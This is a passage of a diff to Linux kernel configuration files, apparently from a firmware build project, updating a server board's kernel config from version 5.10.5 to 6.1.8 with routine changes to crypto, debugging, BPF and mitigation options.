CONFIG_CRYPTO_NHPOLY1305_AVX2 is not set +# CONFIG_CRYPTO_BLAKE2S_X86 is not set +# CONFIG_CRYPTO_POLYVAL_CLMUL_NI is not set +# CONFIG_CRYPTO_POLY1305_X86_64 is not set +CONFIG_CRYPTO_SHA1_SSSE3=y +CONFIG_CRYPTO_SHA256_SSSE3=y +CONFIG_CRYPTO_SHA512_SSSE3=y +# CONFIG_CRYPTO_SM3_AVX_X86_64 is not set +# CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not set +CONFIG_CRYPTO_CRC32C_INTEL=y +# CONFIG_CRYPTO_CRC32_PCLMUL is not set +# end of Accelerated Cryptographic Algorithms for CPU (x86) + # CONFIG_CRYPTO_HW is not set # @@ -2847,7 +3073,6 @@ CONFIG_BITREVERSE=y CONFIG_GENERIC_STRNCPY_FROM_USER=y CONFIG_GENERIC_STRNLEN_USER=y CONFIG_GENERIC_NET_UTILS=y -CONFIG_GENERIC_FIND_FIRST_BIT=y # CONFIG_CORDIC is not set # CONFIG_PRIME_NUMBERS is not set CONFIG_RATIONAL=y @@ -2856,9 +3081,26 @@ CONFIG_GENERIC_IOMAP=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y CONFIG_ARCH_USE_SYM_ANNOTATIONS=y + +# +# Crypto library routines +# +CONFIG_CRYPTO_LIB_UTILS=y +CONFIG_CRYPTO_LIB_AES=y +CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y +# CONFIG_CRYPTO_LIB_CHACHA is not set +# CONFIG_CRYPTO_LIB_CURVE25519 is not set +CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 +# CONFIG_CRYPTO_LIB_POLY1305 is not set +# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set +CONFIG_CRYPTO_LIB_SHA1=y +CONFIG_CRYPTO_LIB_SHA256=y +# end of Crypto library routines + # CONFIG_CRC_CCITT is not set CONFIG_CRC16=y # CONFIG_CRC_T10DIF is not set +# CONFIG_CRC64_ROCKSOFT is not set # CONFIG_CRC_ITU_T is not set CONFIG_CRC32=y # CONFIG_CRC32_SELFTEST is not set @@ -2873,6 +3115,7 @@ CONFIG_LIBCRC32C=y CONFIG_CRC8=m CONFIG_XXHASH=y # CONFIG_RANDOM32_SELFTEST is not set +CONFIG_ZSTD_COMMON=y CONFIG_ZSTD_DECOMPRESS=y CONFIG_XZ_DEC=y CONFIG_XZ_DEC_X86=y @@ -2881,6 +3124,7 @@ CONFIG_XZ_DEC_IA64=y CONFIG_XZ_DEC_ARM=y CONFIG_XZ_DEC_ARMTHUMB=y CONFIG_XZ_DEC_SPARC=y +# CONFIG_XZ_DEC_MICROLZMA is not set CONFIG_XZ_DEC_BCJ=y # CONFIG_XZ_DEC_TEST is not set CONFIG_DECOMPRESS_XZ=y @@ -2898,7 +3142,9 @@ CONFIG_NEED_DMA_MAP_STATE=y CONFIG_ARCH_DMA_ADDR_T_64BIT=y CONFIG_SWIOTLB=y # CONFIG_DMA_API_DEBUG is not set +# CONFIG_DMA_MAP_BENCHMARK is not set CONFIG_SGL_ALLOC=y +# CONFIG_FORCE_NR_CPUS is not set CONFIG_CPU_RMAP=y CONFIG_DQL=y CONFIG_GLOB=y @@ -2918,8 +3164,8 @@ CONFIG_MEMREGION=y CONFIG_ARCH_HAS_UACCESS_FLUSHCACHE=y CONFIG_ARCH_HAS_COPY_MC=y CONFIG_ARCH_STACKWALK=y +CONFIG_STACKDEPOT=y CONFIG_SBITMAP=y -# CONFIG_STRING_SELFTEST is not set # end of Library routines # @@ -2931,6 +3177,7 @@ CONFIG_SBITMAP=y # CONFIG_PRINTK_TIME=y # CONFIG_PRINTK_CALLER is not set +# CONFIG_STACKTRACE_BUILD_ID is not set CONFIG_CONSOLE_LOGLEVEL_DEFAULT=7 CONFIG_CONSOLE_LOGLEVEL_QUIET=4 CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4 @@ -2941,25 +3188,31 @@ CONFIG_SYMBOLIC_ERRNAME=y # CONFIG_DEBUG_BUGVERBOSE is not set # end of printk and dmesg options +CONFIG_DEBUG_KERNEL=y +# CONFIG_DEBUG_MISC is not set + # # Compile-time checks and compiler options # CONFIG_DEBUG_INFO=y +CONFIG_AS_HAS_NON_CONST_LEB128=y +# CONFIG_DEBUG_INFO_NONE is not set +# CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT is not set +CONFIG_DEBUG_INFO_DWARF4=y +# CONFIG_DEBUG_INFO_DWARF5 is not set # CONFIG_DEBUG_INFO_REDUCED is not set # CONFIG_DEBUG_INFO_COMPRESSED is not set # CONFIG_DEBUG_INFO_SPLIT is not set -CONFIG_DEBUG_INFO_DWARF4=y -# CONFIG_DEBUG_INFO_BTF is not set CONFIG_GDB_SCRIPTS=y -# CONFIG_ENABLE_MUST_CHECK is not set CONFIG_FRAME_WARN=1024 # CONFIG_STRIP_ASM_SYMS is not set # CONFIG_READABLE_ASM is not set # CONFIG_HEADERS_INSTALL is not set # CONFIG_DEBUG_SECTION_MISMATCH is not set CONFIG_SECTION_MISMATCH_WARN_ONLY=y -# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_32B is not set -CONFIG_STACK_VALIDATION=y +# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_64B is not set +CONFIG_OBJTOOL=y +# CONFIG_VMLINUX_MAP is not set # CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set # end of Compile-time checks and compiler options @@ -2981,15 +3234,23 @@ CONFIG_ARCH_HAS_UBSAN_SANITIZE_ALL=y CONFIG_HAVE_ARCH_KCSAN=y # end of Generic Kernel Debugging Instruments -CONFIG_DEBUG_KERNEL=y -# CONFIG_DEBUG_MISC is not set +# +# Networking Debugging +# +# CONFIG_NET_DEV_REFCNT_TRACKER is not set +# CONFIG_NET_NS_REFCNT_TRACKER is not set +# CONFIG_DEBUG_NET is not set +# end of Networking Debugging # # Memory Debugging # # CONFIG_PAGE_EXTENSION is not set # CONFIG_DEBUG_PAGEALLOC is not set +CONFIG_SLUB_DEBUG=y +# CONFIG_SLUB_DEBUG_ON is not set # CONFIG_PAGE_OWNER is not set +# CONFIG_PAGE_TABLE_CHECK is not set # CONFIG_PAGE_POISONING is not set # CONFIG_DEBUG_RODATA_TEST is not set CONFIG_ARCH_HAS_DEBUG_WX=y @@ -2997,7 +3258,7 @@ CONFIG_ARCH_HAS_DEBUG_WX=y CONFIG_GENERIC_PTDUMP=y # CONFIG_PTDUMP_DEBUGFS is not set # CONFIG_DEBUG_OBJECTS is not set -# CONFIG_SLUB_STATS is not set +# CONFIG_SHRINKER_DEBUG is not set CONFIG_HAVE_DEBUG_KMEMLEAK=y # CONFIG_DEBUG_KMEMLEAK is not set # CONFIG_DEBUG_STACK_USAGE is not set @@ -3009,11 +3270,16 @@ CONFIG_ARCH_HAS_DEBUG_VIRTUAL=y # CONFIG_DEBUG_VIRTUAL is not set # CONFIG_DEBUG_MEMORY_INIT is not set # CONFIG_DEBUG_PER_CPU_MAPS is not set +CONFIG_ARCH_SUPPORTS_KMAP_LOCAL_FORCE_MAP=y +# CONFIG_DEBUG_KMAP_LOCAL_FORCE_MAP is not set CONFIG_HAVE_ARCH_KASAN=y CONFIG_HAVE_ARCH_KASAN_VMALLOC=y CONFIG_CC_HAS_KASAN_GENERIC=y CONFIG_CC_HAS_WORKING_NOSANITIZE_ADDRESS=y # CONFIG_KASAN is not set +CONFIG_HAVE_ARCH_KFENCE=y +# CONFIG_KFENCE is not set +CONFIG_HAVE_ARCH_KMSAN=y # end of Memory Debugging # CONFIG_DEBUG_SHIRQ is not set @@ -3027,16 +3293,13 @@ CONFIG_PANIC_TIMEOUT=0 CONFIG_LOCKUP_DETECTOR=y CONFIG_SOFTLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set -CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=0 CONFIG_HARDLOCKUP_DETECTOR_PERF=y CONFIG_HARDLOCKUP_CHECK_TIMESTAMP=y CONFIG_HARDLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_HARDLOCKUP_PANIC is not set -CONFIG_BOOTPARAM_HARDLOCKUP_PANIC_VALUE=0 CONFIG_DETECT_HUNG_TASK=y CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=120 # CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set -CONFIG_BOOTPARAM_HUNG_TASK_PANIC_VALUE=0 CONFIG_WQ_WATCHDOG=y # CONFIG_TEST_LOCKUP is not set # end of Debug Oops, Lockups and Hangs @@ -3070,6 +3333,7 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_CSD_LOCK_WAIT_DEBUG is not set # end of Lock Debugging (spinlocks, mutexes, etc...) +# CONFIG_DEBUG_IRQFLAGS is not set CONFIG_STACKTRACE=y # CONFIG_WARN_ALL_UNSEEDED_RANDOM is not set # CONFIG_DEBUG_KOBJECT is not set @@ -3082,6 +3346,7 @@ CONFIG_STACKTRACE=y # CONFIG_DEBUG_SG is not set # CONFIG_DEBUG_NOTIFIERS is not set # CONFIG_BUG_ON_DATA_CORRUPTION is not set +# CONFIG_DEBUG_MAPLE_TREE is not set # end of Debug kernel data structures # CONFIG_DEBUG_CREDENTIALS is not set @@ -3093,36 +3358,40 @@ CONFIG_STACKTRACE=y # CONFIG_RCU_TORTURE_TEST is not set # CONFIG_RCU_REF_SCALE_TEST is not set CONFIG_RCU_CPU_STALL_TIMEOUT=21 +CONFIG_RCU_EXP_CPU_STALL_TIMEOUT=0 # CONFIG_RCU_TRACE is not set # CONFIG_RCU_EQS_DEBUG is not set # end of RCU Debugging # CONFIG_DEBUG_WQ_FORCE_RR_CPU is not set -# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set # CONFIG_CPU_HOTPLUG_STATE_CONTROL is not set # CONFIG_LATENCYTOP is not set CONFIG_USER_STACKTRACE_SUPPORT=y +CONFIG_HAVE_RETHOOK=y CONFIG_HAVE_FUNCTION_TRACER=y -CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y CONFIG_HAVE_DYNAMIC_FTRACE=y CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y CONFIG_HAVE_DYNAMIC_FTRACE_WITH_DIRECT_CALLS=y +CONFIG_HAVE_DYNAMIC_FTRACE_WITH_ARGS=y +CONFIG_HAVE_DYNAMIC_FTRACE_NO_PATCHABLE=y CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y CONFIG_HAVE_SYSCALL_TRACEPOINTS=y CONFIG_HAVE_FENTRY=y +CONFIG_HAVE_OBJTOOL_MCOUNT=y CONFIG_HAVE_C_RECORDMCOUNT=y +CONFIG_HAVE_BUILDTIME_MCOUNT_SORT=y CONFIG_TRACING_SUPPORT=y # CONFIG_FTRACE is not set # CONFIG_PROVIDE_OHCI1394_DMA_INIT is not set # CONFIG_SAMPLES is not set +CONFIG_HAVE_SAMPLE_FTRACE_DIRECT=y +CONFIG_HAVE_SAMPLE_FTRACE_DIRECT_MULTI=y CONFIG_ARCH_HAS_DEVMEM_IS_ALLOWED=y # CONFIG_STRICT_DEVMEM is not set # # x86 Debugging # -CONFIG_TRACE_IRQFLAGS_SUPPORT=y -CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y # CONFIG_X86_VERBOSE_BOOTUP is not set CONFIG_EARLY_PRINTK=y # CONFIG_EARLY_PRINTK_DBGP is not set @@ -3142,7 +3411,6 @@ CONFIG_IO_DELAY_0XED=y # CONFIG_PUNIT_ATOM_DEBUG is not set CONFIG_UNWINDER_ORC=y # CONFIG_UNWINDER_FRAME_POINTER is not set -# CONFIG_UNWINDER_GUESS is not set # end of x86 Debugging # @@ -3156,26 +3424,28 @@ CONFIG_CC_HAS_SANCOV_TRACE_PC=y # CONFIG_KCOV is not set CONFIG_RUNTIME_TESTING_MENU=y # CONFIG_LKDTM is not set -# CONFIG_TEST_LIST_SORT is not set # CONFIG_TEST_MIN_HEAP is not set -# CONFIG_TEST_SORT is not set +# CONFIG_TEST_DIV64 is not set # CONFIG_BACKTRACE_SELF_TEST is not set +# CONFIG_TEST_REF_TRACKER is not set # CONFIG_RBTREE_TEST is not set # CONFIG_REED_SOLOMON_TEST is not set # CONFIG_INTERVAL_TREE_TEST is not set # CONFIG_PERCPU_TEST is not set # CONFIG_ATOMIC64_SELFTEST is not set # CONFIG_TEST_HEXDUMP is not set +# CONFIG_STRING_SELFTEST is not set # CONFIG_TEST_STRING_HELPERS is not set # CONFIG_TEST_STRSCPY is not set # CONFIG_TEST_KSTRTOX is not set # CONFIG_TEST_PRINTF is not set +# CONFIG_TEST_SCANF is not set # CONFIG_TEST_BITMAP is not set # CONFIG_TEST_UUID is not set # CONFIG_TEST_XARRAY is not set -# CONFIG_TEST_OVERFLOW is not set +# CONFIG_TEST_MAPLE_TREE is not set # CONFIG_TEST_RHASHTABLE is not set -# CONFIG_TEST_HASH is not set +# CONFIG_TEST_SIPHASH is not set # CONFIG_TEST_IDA is not set # CONFIG_TEST_LKM is not set # CONFIG_TEST_BITOPS is not set @@ -3188,12 +3458,19 @@ CONFIG_RUNTIME_TESTING_MENU=y # CONFIG_TEST_SYSCTL is not set # CONFIG_TEST_UDELAY is not set # CONFIG_TEST_STATIC_KEYS is not set +# CONFIG_TEST_DYNAMIC_DEBUG is not set # CONFIG_TEST_KMOD is not set # CONFIG_TEST_MEMCAT_P is not set -# CONFIG_TEST_STACKINIT is not set # CONFIG_TEST_MEMINIT is not set # CONFIG_TEST_FREE_PAGES is not set # CONFIG_TEST_FPU is not set +# CONFIG_TEST_CLOCKSOURCE_WATCHDOG is not set +CONFIG_ARCH_USE_MEMTEST=y # CONFIG_MEMTEST is not set # end of Kernel Testing and Coverage + +# +# Rust hacking +# +# end of Rust hacking # end of Kernel hacking diff --git a/config/linux-kgpe-d16_server.config b/config/linux-kgpe-d16_server.config index eccb00b31..e3f763aaa 100644 --- a/config/linux-kgpe-d16_server.config +++ b/config/linux-kgpe-d16_server.config @@ -1,17 +1,21 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86 5.10.5 Kernel Configuration +# Linux/x86 6.1.8 Kernel Configuration # CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 8.3.0" CONFIG_CC_IS_GCC=y CONFIG_GCC_VERSION=80300 -CONFIG_LD_VERSION=232000000 CONFIG_CLANG_VERSION=0 +CONFIG_AS_IS_GNU=y +CONFIG_AS_VERSION=23200 +CONFIG_LD_IS_BFD=y +CONFIG_LD_VERSION=23200 CONFIG_LLD_VERSION=0 CONFIG_CC_CAN_LINK=y CONFIG_CC_CAN_LINK_STATIC=y -CONFIG_CC_HAS_ASM_GOTO=y CONFIG_CC_HAS_ASM_INLINE=y +CONFIG_CC_HAS_NO_PROFILE_FN_ATTR=y +CONFIG_PAHOLE_VERSION=0 CONFIG_IRQ_WORK=y CONFIG_BUILDTIME_TABLE_SORT=y CONFIG_THREAD_INFO_IN_TASK=y @@ -21,6 +25,7 @@ CONFIG_THREAD_INFO_IN_TASK=y # CONFIG_INIT_ENV_ARG_LIMIT=32 # CONFIG_COMPILE_TEST is not set +# CONFIG_WERROR is not set CONFIG_LOCALVERSION="-@BRAND_NAME@" # CONFIG_LOCALVERSION_AUTO is not set CONFIG_BUILD_SALT="" @@ -40,7 +45,6 @@ CONFIG_KERNEL_XZ=y # CONFIG_KERNEL_ZSTD is not set CONFIG_DEFAULT_INIT="" CONFIG_DEFAULT_HOSTNAME="(none)" -# CONFIG_SWAP is not set # CONFIG_SYSVIPC is not set # CONFIG_POSIX_MQUEUE is not set # CONFIG_WATCH_QUEUE is not set @@ -80,6 +84,8 @@ CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y CONFIG_GENERIC_CMOS_UPDATE=y CONFIG_HAVE_POSIX_CPU_TIMERS_TASK_WORK=y CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y +CONFIG_CONTEXT_TRACKING=y +CONFIG_CONTEXT_TRACKING_IDLE=y # # Timers subsystem @@ -91,11 +97,26 @@ CONFIG_NO_HZ_IDLE=y # CONFIG_NO_HZ_FULL is not set # CONFIG_NO_HZ is not set # CONFIG_HIGH_RES_TIMERS is not set +CONFIG_CLOCKSOURCE_WATCHDOG_MAX_SKEW_US=100 # end of Timers subsystem +CONFIG_BPF=y +CONFIG_HAVE_EBPF_JIT=y +CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y + +# +# BPF subsystem +# +# CONFIG_BPF_SYSCALL is not set +# CONFIG_BPF_JIT is not set +# end of BPF subsystem + +CONFIG_PREEMPT_NONE_BUILD=y CONFIG_PREEMPT_NONE=y # CONFIG_PREEMPT_VOLUNTARY is not set # CONFIG_PREEMPT is not set +# CONFIG_PREEMPT_DYNAMIC is not set +# CONFIG_SCHED_CORE is not set # # CPU/Task time and stats accounting @@ -119,12 +140,12 @@ CONFIG_RCU_STALL_COMMON=y CONFIG_RCU_NEED_SEGCBLIST=y # end of RCU Subsystem -CONFIG_BUILD_BIN2C=y # CONFIG_IKCONFIG is not set # CONFIG_IKHEADERS is not set CONFIG_LOG_BUF_SHIFT=18 CONFIG_LOG_CPU_MAX_BUF_SHIFT=12 CONFIG_PRINTK_SAFE_LOG_BUF_SHIFT=13 +# CONFIG_PRINTK_INDEX is not set CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y # @@ -136,6 +157,9 @@ CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y CONFIG_ARCH_WANT_BATCHED_UNMAP_TLB_FLUSH=y CONFIG_CC_HAS_INT128=y +CONFIG_CC_IMPLICIT_FALLTHROUGH="-Wimplicit-fallthrough=5" +CONFIG_GCC11_NO_ARRAY_BOUNDS=y +CONFIG_GCC12_NO_ARRAY_BOUNDS=y CONFIG_ARCH_SUPPORTS_INT128=y # CONFIG_CGROUPS is not set # CONFIG_CHECKPOINT_RESTORE is not set @@ -157,13 +181,13 @@ CONFIG_INITRAMFS_COMPRESSION_XZ=y # CONFIG_INITRAMFS_COMPRESSION_ZSTD is not set # CONFIG_INITRAMFS_COMPRESSION_NONE is not set # CONFIG_BOOT_CONFIG is not set +# CONFIG_INITRAMFS_PRESERVE_MTIME is not set # CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_LD_ORPHAN_WARN=y CONFIG_SYSCTL=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HAVE_PCSPKR_PLATFORM=y -CONFIG_BPF=y CONFIG_EXPERT=y # CONFIG_MULTIUSER is not set # CONFIG_SGETMASK_SYSCALL is not set @@ -171,7 +195,6 @@ CONFIG_EXPERT=y # CONFIG_FHANDLE is not set CONFIG_POSIX_TIMERS=y CONFIG_PRINTK=y -CONFIG_PRINTK_NMI=y CONFIG_BUG=y CONFIG_PCSPKR_PLATFORM=y # CONFIG_BASE_FULL is not set @@ -190,10 +213,8 @@ CONFIG_KALLSYMS=y # CONFIG_KALLSYMS_ALL is not set CONFIG_KALLSYMS_ABSOLUTE_PERCPU=y CONFIG_KALLSYMS_BASE_RELATIVE=y -# CONFIG_BPF_SYSCALL is not set -CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y -# CONFIG_USERFAULTFD is not set CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +CONFIG_KCMP=y CONFIG_RSEQ=y # CONFIG_DEBUG_RSEQ is not set CONFIG_EMBEDDED=y @@ -207,17 +228,6 @@ CONFIG_PERF_EVENTS=y # CONFIG_DEBUG_PERF_USE_VMALLOC is not set # end of Kernel Performance Events And Counters -# CONFIG_VM_EVENT_COUNTERS is not set -# CONFIG_SLUB_DEBUG is not set -# CONFIG_COMPAT_BRK is not set -# CONFIG_SLAB is not set -CONFIG_SLUB=y -# CONFIG_SLOB is not set -CONFIG_SLAB_MERGE_DEFAULT=y -# CONFIG_SLAB_FREELIST_RANDOM is not set -# CONFIG_SLAB_FREELIST_HARDENED is not set -# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set -CONFIG_SLUB_CPU_PARTIAL=y # CONFIG_PROFILING is not set # end of General setup @@ -239,17 +249,10 @@ CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y CONFIG_ARCH_MAY_HAVE_PC_FDC=y CONFIG_GENERIC_CALIBRATE_DELAY=y CONFIG_ARCH_HAS_CPU_RELAX=y -CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y -CONFIG_ARCH_HAS_FILTER_PGPROT=y -CONFIG_HAVE_SETUP_PER_CPU_AREA=y -CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y -CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y CONFIG_ARCH_HIBERNATION_POSSIBLE=y +CONFIG_ARCH_NR_GPIO=1024 CONFIG_ARCH_SUSPEND_POSSIBLE=y -CONFIG_ARCH_WANT_GENERAL_HUGETLB=y -CONFIG_ZONE_DMA32=y CONFIG_AUDIT_ARCH=y -CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y CONFIG_X86_64_SMP=y CONFIG_ARCH_SUPPORTS_UPROBES=y CONFIG_FIX_EARLYCON_MEM=y @@ -259,12 +262,10 @@ CONFIG_CC_HAS_SANE_STACKPROTECTOR=y # # Processor type and features # -# CONFIG_ZONE_DMA is not set CONFIG_SMP=y CONFIG_X86_FEATURE_NAMES=y # CONFIG_X86_MPPARSE is not set # CONFIG_GOLDFISH is not set -CONFIG_RETPOLINE=y # CONFIG_X86_CPU_RESCTRL is not set # CONFIG_X86_EXTENDED_PLATFORM is not set # CONFIG_X86_INTEL_LPSS is not set @@ -295,11 +296,13 @@ CONFIG_HPET_TIMER=y CONFIG_HPET_EMULATE_RTC=y CONFIG_DMI=y # CONFIG_GART_IOMMU is not set +CONFIG_BOOT_VESA_SUPPORT=y # CONFIG_MAXSMP is not set CONFIG_NR_CPUS_RANGE_BEGIN=2 CONFIG_NR_CPUS_RANGE_END=512 CONFIG_NR_CPUS_DEFAULT=64 CONFIG_NR_CPUS=64 +CONFIG_SCHED_CLUSTER=y CONFIG_SCHED_SMT=y CONFIG_SCHED_MC=y CONFIG_X86_LOCAL_APIC=y @@ -317,11 +320,12 @@ CONFIG_X86_MCE_THRESHOLD=y # # CONFIG_PERF_EVENTS_INTEL_RAPL is not set # CONFIG_PERF_EVENTS_AMD_POWER is not set +CONFIG_PERF_EVENTS_AMD_UNCORE=y +# CONFIG_PERF_EVENTS_AMD_BRS is not set # end of Performance monitoring # CONFIG_X86_VSYSCALL_EMULATION is not set CONFIG_X86_IOPL_IOPERM=y -# CONFIG_I8K is not set # CONFIG_MICROCODE is not set # CONFIG_X86_MSR is not set # CONFIG_X86_CPUID is not set @@ -332,16 +336,14 @@ CONFIG_X86_DIRECT_GBPAGES=y # CONFIG_NUMA is not set CONFIG_ARCH_SPARSEMEM_ENABLE=y CONFIG_ARCH_SPARSEMEM_DEFAULT=y -CONFIG_ARCH_SELECT_MEMORY_MODEL=y CONFIG_ILLEGAL_POINTER_VALUE=0xdead000000000000 CONFIG_X86_PMEM_LEGACY_DEVICE=y CONFIG_X86_PMEM_LEGACY=y # CONFIG_X86_CHECK_BIOS_CORRUPTION is not set -CONFIG_X86_RESERVE_LOW=64 # CONFIG_MTRR is not set -CONFIG_ARCH_RANDOM=y -# CONFIG_X86_SMAP is not set CONFIG_X86_UMIP=y +CONFIG_CC_HAS_IBT=y +# CONFIG_X86_KERNEL_IBT is not set # CONFIG_X86_INTEL_MEMORY_PROTECTION_KEYS is not set # CONFIG_EFI is not set # CONFIG_HZ_100 is not set @@ -361,17 +363,23 @@ CONFIG_DYNAMIC_MEMORY_LAYOUT=y CONFIG_HOTPLUG_CPU=y # CONFIG_BOOTPARAM_HOTPLUG_CPU0 is not set # CONFIG_DEBUG_HOTPLUG_CPU0 is not set -# CONFIG_LEGACY_VSYSCALL_EMULATE is not set CONFIG_LEGACY_VSYSCALL_XONLY=y # CONFIG_LEGACY_VSYSCALL_NONE is not set # CONFIG_CMDLINE_BOOL is not set # CONFIG_MODIFY_LDT_SYSCALL is not set +# CONFIG_STRICT_SIGALTSTACK_SIZE is not set CONFIG_HAVE_LIVEPATCH=y # end of Processor type and features +CONFIG_CC_HAS_RETURN_THUNK=y +CONFIG_SPECULATION_MITIGATIONS=y +CONFIG_PAGE_TABLE_ISOLATION=y +CONFIG_RETPOLINE=y +CONFIG_RETHUNK=y +CONFIG_CPU_UNRET_ENTRY=y +CONFIG_CPU_IBPB_ENTRY=y CONFIG_ARCH_HAS_ADD_PAGES=y -CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y -CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y +CONFIG_ARCH_MHP_MEMMAP_ON_MEMORY_ENABLE=y # # Power management and ACPI options @@ -386,13 +394,13 @@ CONFIG_ARCH_MIGHT_HAVE_ACPI_PDC=y CONFIG_ACPI_SYSTEM_POWER_STATES_SUPPORT=y # CONFIG_ACPI_DEBUGGER is not set CONFIG_ACPI_SPCR_TABLE=y +# CONFIG_ACPI_FPDT is not set CONFIG_ACPI_LPIT=y CONFIG_ACPI_REV_OVERRIDE_POSSIBLE=y # CONFIG_ACPI_EC_DEBUGFS is not set CONFIG_ACPI_AC=y CONFIG_ACPI_BATTERY=y CONFIG_ACPI_BUTTON=y -CONFIG_ACPI_VIDEO=y CONFIG_ACPI_FAN=y # CONFIG_ACPI_DOCK is not set CONFIG_ACPI_CPU_FREQ_PSS=y @@ -419,9 +427,10 @@ CONFIG_HAVE_ACPI_APEI_NMI=y # CONFIG_ACPI_APEI is not set # CONFIG_ACPI_DPTF is not set # CONFIG_ACPI_CONFIGFS is not set +# CONFIG_ACPI_PFRUT is not set +CONFIG_ACPI_PCC=y # CONFIG_PMIC_OPREGION is not set CONFIG_X86_PM_TIMER=y -# CONFIG_SFI is not set # # CPU Frequency scaling @@ -447,6 +456,8 @@ CONFIG_CPU_FREQ_GOV_SCHEDUTIL=y # # CONFIG_X86_INTEL_PSTATE is not set # CONFIG_X86_PCC_CPUFREQ is not set +# CONFIG_X86_AMD_PSTATE is not set +# CONFIG_X86_AMD_PSTATE_UT is not set # CONFIG_X86_ACPI_CPUFREQ is not set # CONFIG_X86_SPEEDSTEP_CENTRINO is not set # CONFIG_X86_P4_CLOCKMOD is not set @@ -476,34 +487,15 @@ CONFIG_MMCONF_FAM10H=y # CONFIG_ISA_BUS is not set CONFIG_ISA_DMA_API=y CONFIG_AMD_NB=y -# CONFIG_X86_SYSFB is not set # end of Bus options (PCI etc.) # # Binary Emulations # # CONFIG_IA32_EMULATION is not set -# CONFIG_X86_X32 is not set +# CONFIG_X86_X32_ABI is not set # end of Binary Emulations -# -# Firmware Drivers -# -# CONFIG_EDD is not set -# CONFIG_FIRMWARE_MEMMAP is not set -# CONFIG_DMIID is not set -# CONFIG_DMI_SYSFS is not set -CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y -# CONFIG_ISCSI_IBFT is not set -# CONFIG_FW_CFG_SYSFS is not set -# CONFIG_GOOGLE_FIRMWARE is not set - -# -# Tegra firmware driver -# -# end of Tegra firmware driver -# end of Firmware Drivers - CONFIG_HAVE_KVM=y # CONFIG_VIRTUALIZATION is not set CONFIG_AS_AVX512=y @@ -518,8 +510,6 @@ CONFIG_CRASH_CORE=y CONFIG_KEXEC_CORE=y CONFIG_HOTPLUG_SMT=y CONFIG_GENERIC_ENTRY=y -CONFIG_HAVE_OPROFILE=y -CONFIG_OPROFILE_NMI_TIMER=y # CONFIG_KPROBES is not set CONFIG_JUMP_LABEL=y # CONFIG_STATIC_KEYS_SELFTEST is not set @@ -531,8 +521,11 @@ CONFIG_HAVE_KPROBES=y CONFIG_HAVE_KRETPROBES=y CONFIG_HAVE_OPTPROBES=y CONFIG_HAVE_KPROBES_ON_FTRACE=y +CONFIG_ARCH_CORRECT_STACKTRACE_ON_KRETPROBE=y CONFIG_HAVE_FUNCTION_ERROR_INJECTION=y CONFIG_HAVE_NMI=y +CONFIG_TRACE_IRQFLAGS_SUPPORT=y +CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y CONFIG_HAVE_ARCH_TRACEHOOK=y CONFIG_HAVE_DMA_CONTIGUOUS=y CONFIG_GENERIC_SMP_IDLE_THREAD=y @@ -541,9 +534,11 @@ CONFIG_ARCH_HAS_SET_MEMORY=y CONFIG_ARCH_HAS_SET_DIRECT_MAP=y CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y +CONFIG_ARCH_WANTS_NO_INSTR=y CONFIG_HAVE_ASM_MODVERSIONS=y CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y CONFIG_HAVE_RSEQ=y +CONFIG_HAVE_RUST=y CONFIG_HAVE_FUNCTION_ARG_ACCESS_API=y CONFIG_HAVE_HW_BREAKPOINT=y CONFIG_HAVE_MIXED_BREAKPOINTS_REGS=y @@ -554,6 +549,7 @@ CONFIG_HAVE_PERF_REGS=y CONFIG_HAVE_PERF_USER_STACK_DUMP=y CONFIG_HAVE_ARCH_JUMP_LABEL=y CONFIG_HAVE_ARCH_JUMP_LABEL_RELATIVE=y +CONFIG_MMU_GATHER_MERGE_VMAS=y CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y CONFIG_HAVE_CMPXCHG_LOCAL=y @@ -565,27 +561,47 @@ 